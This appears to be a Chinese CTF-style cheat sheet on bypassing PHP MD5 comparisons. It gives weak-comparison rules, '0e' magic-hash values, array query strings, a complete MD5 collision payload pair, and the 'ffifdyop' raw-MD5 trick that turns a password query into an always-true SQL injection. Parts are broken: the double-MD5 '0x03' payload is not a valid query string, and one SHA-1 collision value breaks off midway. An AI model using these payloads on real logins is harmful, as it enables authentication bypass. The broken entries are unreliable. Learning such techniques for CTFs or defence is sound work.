md5绕过
本文最后更新于 2025年1月24日 下午
相关口诀
数组绕过,0e绕过
QNKCDZO 240610708 常用
md5($a)==md5(md5($a))
0e215962017
MD5加密登录万能通用
ffifdyop
数组绕过(通用)
payload:?a[]=1&b[]=2
md5弱比较
转换规则:
1.字符型和字符型比较,为同类型,比较其内容,例’‘abc’‘==’‘c’’ => false
2.数字型和数字型比较,同上,例:123 == 12 => false
123 ==123=> true
3.字符型和数字型比较,若字符型值开头为数字,转为数字;
若开头不为数字,为 null 弱比较与 0 相等。
例:''abc123''==123 => false
"123abc"==123 => true
''abc123''==0 => true
''123''==123 => true
''123abc''==12 => false
字符型和数值型的弱比较
比较原理:
先看字符串开头是否为数字
如果为数字,则截止到连续数字的最后一个数字,即"123abc456"=>123
如果不为数字,则判断为false,即"abc123456"=>0
实例:
(“123abc”==123) => true
(“123”==123) => true
(“123abc”==“123”) => false
(“abc123”==0) => true
字符型和字符型的比较
字符串的弱比较只能采用0e绕过,需要注意的是,0e后面不能有字母的存在
实例:
(“0e123456”==“0e345”) => true
(“0e12adfc”==“0e345”) => false
布尔型和任意值的比较
布尔值true和任意字符串和数值都弱相等,除了0和false,因为0也认为是bool false,true是不等于false的
实例:
(true==‘‘false’’) => false
(0==‘‘false’’) => true
(true==0) => false
(true==‘‘abc’’) =>true
(true==‘‘123abc’’) =>true
md5弱类型绕过
0e绕过
0e绕过的原理
科学记数法是一种记数的方法。
计算器表达10的幂一般是用E或e
如:2 760 000 = 2.76×10^6 = 2.76e6
所以0e,无论后面跟什么值,都是0
常见的字符串md5值为0e开头
加密后的密文 原值
QNKCDZO 0E830400451993494058024219903391
240610708 0E462097431906509019562988736854
s878926199a 0E545993274517709034328855841020
s155964671a 0E342768416822451524974117254469
s214587387a 0E848240448830537924465865611904
0x01 一次md5的加密
$a=$_GET[‘a’];
$b=$_GET[‘b’];
md5($a)==md5($b)
payload:?a=QNKCDZO&b=240610708
0x02 一次md5的加密
$a=$_GET[‘a’];
$a==md5($a);
payload:?a=0e215962017
因为md5(“0e215962017”)=0e291242476940776845150308577824
0x03 两次md5的加密
$a=$_GET[‘a’];
$a==md5($a);
payload:?md5(md5(0E830400451993494058024219903391))=0E545993274517709034328855841020
md5强类型绕过
md5值完全相同的字符绕过
$a=$_GET[‘a’];
$b=$_GET[‘b’];
md5($a)===md5($b)
payload:?a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
两个MD5值完全相同的字符
array1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
array2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
此时插入sha1值完全相同的字符
array1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1
array2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%
万能通式ffifdyop 绕过
万能通式:129581926211651571912466741651878684928和ffifdyop
实例:
select * from ‘admin’ where password=md5($pass,true)
输入md5(‘ffifdyop’,true)绕过
即
select * from ‘admin’ where password=md5 ( ’ ffifdyop ’ ,true)
md5(string,raw)

ffifdyop 这个字符串被 md5 哈希了后会变成 276f722736c95d99e921722cf9ed621c,这个字符串前几位刚好是’ or '6
而 Mysql 刚好又会把 hex 转成 ascii 解释,因此拼接之后的形式是 select * from ‘admin’ where password= ’ ’ or '6xxxxx ',等价于 or 一个永真式,因此相当于万能密码,可以绕过md5()函数。
where password=正确的密码or 1 ,代表永真,那么前面有没有密码都无所谓了
简单说,
select * from admin where password= ’ ’ or’6<乱码>’
就相当于
select * from admin where password= ’ ’ or 1 实现sql注入
当两个条件中有任一个条件满足,“逻辑或”的运算结果就为“真”